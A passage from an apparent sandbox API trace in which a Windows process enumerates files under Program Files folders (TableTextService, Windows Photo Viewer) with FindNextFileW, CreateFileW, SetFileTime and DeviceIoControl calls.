ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0080.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f47d0 [0080.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123da68 [0080.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0080.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f47f0 [0080.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123db70 [0080.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0080.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4810 [0080.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123dc78 [0080.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0080.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4830 [0080.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123dd80 [0080.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0080.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4850 [0080.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123de88 [0080.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0080.362] GetLastError () returned 0x12 [0080.362] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9180 [0080.362] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.363] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.363] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.363] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.363] NtClose (Handle=0x124) returned 0x0 [0080.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.364] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.364] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0080.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe128 [0080.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe128) returned 1 [0080.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe128 [0080.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe128) returned 1 [0080.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe128 [0080.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123df90 [0080.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4870 [0080.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e098 [0080.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe128) returned 1 [0080.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0080.366] GetLastError () returned 0x12 [0080.366] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0080.366] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.366] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.366] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0080.366] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0080.366] GetLastError () returned 0x12 [0080.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.366] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123df90) returned 1 [0080.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.366] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0080.367] GetLastError () returned 0x12 [0080.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.367] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.367] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0080.367] GetLastError () returned 0x12 [0080.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.368] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0080.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.368] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.368] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.369] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.369] NtClose (Handle=0x178) returned 0x0 [0080.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.369] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.370] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.370] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e1e9e0, ftCreationTime.dwHighDateTime=0x1d57f0b, ftLastAccessTime.dwLowDateTime=0xad2421e0, ftLastAccessTime.dwHighDateTime=0x1d56ce3, ftLastWriteTime.dwLowDateTime=0xad2421e0, ftLastWriteTime.dwHighDateTime=0x1d56ce3, nFileSizeHigh=0x0, 